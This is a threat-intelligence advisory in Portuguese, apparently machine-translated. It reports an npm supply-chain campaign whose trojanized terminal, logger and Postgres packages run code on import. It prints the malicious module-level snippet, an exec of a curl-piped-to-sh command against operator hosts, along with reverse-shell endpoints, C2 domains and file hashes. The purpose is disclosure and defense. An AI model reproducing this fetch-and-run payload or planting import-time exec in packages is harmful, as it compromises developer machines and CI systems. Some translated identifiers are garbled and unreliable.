TL, DR
Um único operador npm publicado cinco pacotes trojanizados em duas rodadas ao longo de três dias. Os pacotes se disfarçam de pequenos utilitários de cores de terminal, registradores e clientes Postgres. O código malicioso é executado. no momento em que o pacote é importado — não há nenhum script de instalação para capturar.
Primeira rodada (neon-terminal, neon-postgres, ne-logger) foi despublicado em 2026-07-05 às 14:14 UTC. Setenta e quatro minutos depois a mesma conta republicou o mesmo cavalo de Troia sob novos nomes (agn-terminal, agn-logger) — e apontou-o para o mesmo ponto de extremidade de comando e controle já havia sido usado antes: tracker.bvgroup.co.
Esse host C2 é o único indicador que sobrevive à renomeação e o mais rápido para um defensor encontrá-lo. Gravidade: AltoEcossistema: npmOs pacotes da segunda rodada ainda estavam disponíveis no momento da redação deste texto.
O ataque: como funciona
As embalagens são iscas funcionais. Abra. terminal agn e você encontra um auxiliar de cores ANSI completo e funcional — códigos, suporta cores, colorir, pintura — com tipos e um arquivo README. O código utilitário funciona. Fixadas no topo do módulo de entrada, acima do código útil, encontram-se algumas linhas que são executadas na importação.
// agn-terminal 0.1.0 — src/index.js (top of module) import { exec } from "node:child_process"; const child = exec( "curl -fsSL https://remote.agyn.org/remote.sh | " + "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh", {}, (error, stdout, stderr) => {}, ); Três fatores tornam isso eficaz.
- Ele é acionado na importação, não na instalação. A embalagem não declara nada. pré-instalação or pós-instalação gancho — o lugar de costume que os analistas e revisores procuram. O exec A chamada é um código de nível de módulo. Ela é executada na primeira vez que algo acontece. require(“agn-terminal”) or importar “agn-terminal”, na máquina do desenvolvedor ou dentro da CI. Tanto a entrada ESM (src/index.js) e a entrada CommonJS (cjs/src/index.js) transportam a mesma carga útil, portanto ambos os sistemas de módulos estão cobertos.
- A carga útil real reside fora da embalagem. O pacote inclui apenas um arquivo de configuração de uma linha: fetch remote.agyn.org/remote.sh` e redirecione a saída para sh`. O que quer que o operador forneça a partir desse URL no momento da solicitação é o que será executado. O endpoint C2 é passado para o script baixado através do PONTO DE ENDEREÇO REMOTO DO RASTREADOR variável de ambiente, para que o script da segunda etapa se conecte ao servidor. tracker.bvgroup.co.
- Um pacote de suporte amplia o raio da explosão. agn-logger É uma segunda isca — um “pequeno registrador global”. Não possui carga útil própria. Seu módulo de entrada realiza uma única função relevante:
// agn-logger 0.1.0 — cjs/src/index.js const { colorize, supportsColor } = require('agn-terminal'); Declara terminal agn como uma dependência e a importa. A instalação ou importação do logger inclui e aciona o pacote terminal transitivamente. Um projeto que nunca nomeia o Trojan diretamente ainda pode executá-lo por meio do logger.
O que há de novo aqui?
A primeira rodada não usou um stager remoto. Ela enviou o payload diretamente no código e o escalou versão por versão — um shell reverso em bash em uma versão, um rede.Soquete inverta a concha na próxima, uma git adicionar/commit/ impulso do diretório de trabalho da vítima em outro, e finalmente um agente completo de comando e controle HTTP em terminal neon 0.9.0 que registrou o host, verificou se havia tarefas e as executou com exec ()e transmitiu de volta a saída codificada em base64. A segunda rodada condensa tudo isso em uma única ondulação | sh, removendo completamente o segundo estágio do registro. Mesmo operador, pacote mais silencioso, carga útil mais flexível — e, crucialmente, o mesmo C2 de antes.
Timeline
| Data (UTC) | Evento |
|---|---|
| 2026-07-03 07:03 | Primeira rodada publicada: neon-terminal (0.1.0 limpo, depois 0.2.0–0.9.0 malicioso), neon-postgres 3.5.2, ne-logger 0.7.0 |
| 2026-07-03 07:05 | neon-terminal sinalizado na varredura em tempo real |
| 2026-07-04 | Confirmado como malicioso; correlação revela os dois pacotes irmãos; primeiras tentativas de remoção registradas. |
| 2026-07-05 14:14 | Primeira rodada não publicada — todas as oito neon-terminal versões mais irmãos removidos |
| 2026-07-05 15:28 | agn-terminal 0.1.0 publicado |
| 2026-07-05 15:29 | agn-logger 0.1.0 publicado — transportadora para o novo pacote de terminal |
| 05/07/2026 (em andamento) | Os pacotes da segunda rodada já estão disponíveis no momento da publicação deste texto. |
As duas rodadas ocorrem com três dias de intervalo, e a diferença entre a remoção e o relançamento foi de 74 minutos. A campanha está aberta: agn-* Os pacotes ainda não haviam sido removidos quando este texto foi escrito.
Indicadores de compromisso
Pesquise arquivos de bloqueio e árvores de dependências pelos nomes dos pacotes. Pesquise proxy, DNS e EDR Registros dos endpoints de rede. O host C2 tracker.bvgroup.co Abrange ambas as rodadas e é o indicador individual de maior valor.
PACOTES
| Pacote | versões | Tipo | Status |
|---|---|---|---|
neon-terminal | 0.2.0–0.9.0 | cavalo de Troia (payloads embutidos → HTTP C2) | inédito |
neon-postgres | 3.5.2 | cavalo de Troia (carga útil em src/errors.js) | inédito |
ne-logger | 0.7.0 | transportadora (depende de neon-terminal) | inédito |
agn-terminal | 0.1.0 | cavalo (curl | sh (artista de palco) | viver |
agn-logger | 0.1.0 | transportadora (depende de agn-terminal) | viver |
terminal neon A versão 0.1.0 era uma versão inicial limpa — uma biblioteca de cores funcional sem nenhum conteúdo malicioso — publicada para estabelecer o pacote antes das versões maliciosas que se seguiram.
Network
| Indicador | contexto |
|---|---|
tracker.bvgroup.co/remote/… | HTTP C2, ambas as rodadas (token da segunda rodada) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J) |
remote.agyn.org/remote.sh | carregador de estágio um da segunda rodada |
reverse.bvgroup.co:443 | ponto final de primeira rodada de shell reverso (neon-terminal 0.6.0) |
6.tcp.eu.ngrok.io:28754 | primeira rodada concha reversa (neon-terminal 0.3.0) |
2.tcp.eu.ngrok.io:25852 | primeira rodada concha reversa (neon-terminal 0.4.0) |
bvgroup.co, agyn.org, agyn.io | domínios controlados pelo operador |
Comportamentais
- Nível do módulo processo_filho.exec no topo do arquivo de entrada de um pacote de utilitários, em ambos src/index.js (ESM) e cjs/src/index.js (CJS).
- A curl -fsSL … | sh uma linha com o C2 passado por meio de um PONTO DE ENDEREÇO REMOTO DO RASTREADOR variável de ambiente.
- Um segundo pacote "utilitário" que declara o primeiro como uma dependência e o importa, sem nenhum conteúdo próprio.
- Uma sobra // terminal neon comentário no topo de terminal agn — um artefato de copiar e colar que vincula a reformulação da marca à original.
Hashes de arquivo (SHA-256, segunda rodada)
- terminal agn src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
- terminal agn cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
- agn-logger src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19
Atribuição e comportamento observado
Cada pacote é rastreado até uma única conta npm. vitalii-agyn, publicando sob o e-mail não verificado vitalii@agyn.ioOs metadados de registro da própria conta listam todos os três pacotes da primeira rodada como sendo mantidos por ela. A infraestrutura interliga as rodadas: o domínio. agyn.org corresponde ao editor agyn.io domínio de e-mail e o host C2 tracker.bvgroup.co aparece em ambos terminal neon 0.9.0 e terminal agn 0.1.0 — o mesmo caminho do coletor, reutilizado literalmente após a renomeação.
Descrevemos o que os artefatos mostram e paramos por aí. O endereço de e-mail declarado pela editora é vitalii@agyn.ioNão verificamos a propriedade desse endereço e não atribuímos a conta a nenhuma pessoa ou grupo específico. A reutilização de um endpoint C2 em duas famílias de pacotes é um forte indício de mesmo operador, não de identidade.
Os pacotes da primeira rodada priorizaram a proximidade da marca. neon-postgres era um clone completo do amplamente utilizado por Porsager postgres.js cliente, slogan e tudo mais, com a carga útil embutida em src/errors.js assim um caminho de importação de rotina o alcançaria — e o néon- O prefixo aproveita o reconhecimento do Neon, o provedor Postgres sem servidor. Os nomes da segunda rodada abandonaram a imitação e se tornaram genéricos (terminal agn, agn-logger), trocando o prestígio da marca por uma ruptura mais clara com os nomes desgastados.
Impacto, tendências e orientações para defensores
- Quem está exposto. Qualquer pessoa que instale e importe um desses pacotes, diretamente ou por meio da operadora, em um host do tipo Unix. O stager usa enrolar e sh; os projéteis redondos de primeira classe usam bater e /dev/tcpComo a execução ocorre na importação, um servidor de compilação que instala a dependência e executa qualquer código que a utilize é suficiente — nenhuma etapa pós-instalação é necessária. Em uma estação de trabalho de desenvolvedor ou em um executor de CI, o segundo estágio baixado é executado com os privilégios do usuário e acesso total à rede.
- Por que a execução no momento da importação é importante. As defesas da cadeia de suprimentos têm se concentrado em scripts de instalação, e por um bom motivo — o postinstall é o ponto de apoio clássico do npm. Esta campanha ignora isso completamente. Não há nenhum gancho de instalação para sinalizar. código malicioso Trata-se de uma inicialização de módulo comum, indistinguível à primeira vista de um pacote que calcula uma tabela de consulta ao ser carregado. Ferramentas que inspecionam apenas os scripts no arquivo package.json não detectam nada.
- A tendência de reformulação e reutilização de marcas. O que chama a atenção é o tempo de resposta de 74 minutos. A remoção eliminou os nomes, mas não o operador, a infraestrutura ou o código. Em menos de uma hora, a campanha estava ativa novamente com novos nomes, apontando para o mesmo servidor de comando e controle (C2). O bloqueio baseado em nomes — como adicionar neon-terminal à lista de bloqueio — já estaria obsoleto. O bloqueio baseado em infraestrutura — como adicionar bvgroup.co à lista de bloqueio — teria impedido a segunda tentativa. Para um operador ativo que republica informações mais rápido do que os registros removem, o indicador de durabilidade é o ponto de extremidade da rede, não o nome do pacote.
O que fazer agora
- Procure nos arquivos de bloqueio e nas árvores de pacotes instalados pelos cinco nomes de pacotes acima. Trate qualquer correspondência como um host comprometido e altere as credenciais acessíveis a partir dele.
- Bloquear e alertar sobre os domínios bvgroup.co, agyn.orge os endpoints do ngrok no DNS e na filtragem de saída. tracker.bvgroup.co é a prioridade.
- Não confie apenas na verificação do gancho de instalação. Adicione detecção em nível de módulo. processo_filho e chamadas de rede em dependências, e para encaracolar… | sh padrões no código-fonte do pacote.
- Considere como merecedor de uma segunda análise um pacote de utilitários que declara outro utilitário obscuro como sua única dependência e o importa ao ser carregado.
- Em CI, prefira –Ignore-scripts onde for viável, mas entenda que isso não ajuda neste caso — a carga útil é executada na importação, portanto, os controles de saída em tempo de execução e a revisão de dependências são mais importantes.
Referências
- Neon sem servidor Postgres — a marca néon-* Os nomes emprestam elementos reconhecíveis de outras fontes.
- Porsager postgres.js — o cliente neon-postgres clonado.




